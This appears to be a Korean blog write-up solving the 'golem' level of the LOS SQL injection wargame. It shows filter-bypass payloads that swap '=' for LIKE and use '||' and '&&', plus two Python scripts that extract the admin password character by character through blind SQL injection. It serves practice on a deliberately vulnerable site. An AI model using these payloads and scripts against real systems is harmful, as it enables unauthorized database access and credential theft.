LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이번에는 or, and, substr, =에 대한 문자열을 막고 있다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
orc, orge 문제와 동일하게 블라인드 인젝션을 진행하는 문제로 보이는데,
문제는 or, and, substr, =에 대해서 검사를 진행하고 있다는 것이다.
그렇다면 위에 나온 문자열 필터링을 우회하면서 페이로드를 작성하고,
작성한 페이로드를 스크립트로 작성해서 pw를 알아내야 할 것이다.
여기서도 주의해야할 것은 우리는 admin에 대한 pw를 알아내야 한다.
' || id = 'admin' && 1<2 # 기존에 삽입하던 구문을 넣게 되면,
=이 필터링되어서 웃고 있는 것을 확인할 수 있는데
=에 대한 필터링을 우회하기 위해서는
id='admin' 구문을 id like 'admin' 으로 작성해줄 수 있다.
이는 mysql 구문에 해당한다.
자세한 설명은 https://bactoria.tistory.com/22 를 참고하여 확인할 수 있다.
해당 연산자 구문을 like로 우회하여 제대로 출력할 수 있다.
또한, substr을 우회하기 위해서 동일한 substring을 사용할 수 있는데
우리는 기존에 계속 substring을 사용해와서 상관없을 것으로 생각했다.
이전에 작성했던 스크립트를 조금 변경해서 사용해보자.
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' || id like 'admin' && length(pw) like {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
이번에도 패스워드 길이는 8자이다.
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' || id like 'admin' && length(pw) like {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
for j in range(30, 123):
params = { "pw" : "' || id like 'admin' && ascii(substring(pw, {}, 1)) like {} #".format(i, j) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(j)
print("패스워드:", password)
if len(password) == 8:
break
pw_crack()
이전 스크립트와 동일하지만 like 구문을 추가하여 우회하면
패스워드를 획득할 수 있을 것이다.
스크립트를 돌려서 나온 패스워드로 바로 pw='패스워드'로 입력하면
성공적으로 문제를 풀 수 있다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] bugbear (0) | 2022.12.22 |
---|---|
[LOS] darknight (0) | 2022.12.22 |
[LOS] skeleton (0) | 2022.12.21 |
[LOS] vampire (0) | 2022.12.21 |
[LOS] troll (0) | 2022.12.21 |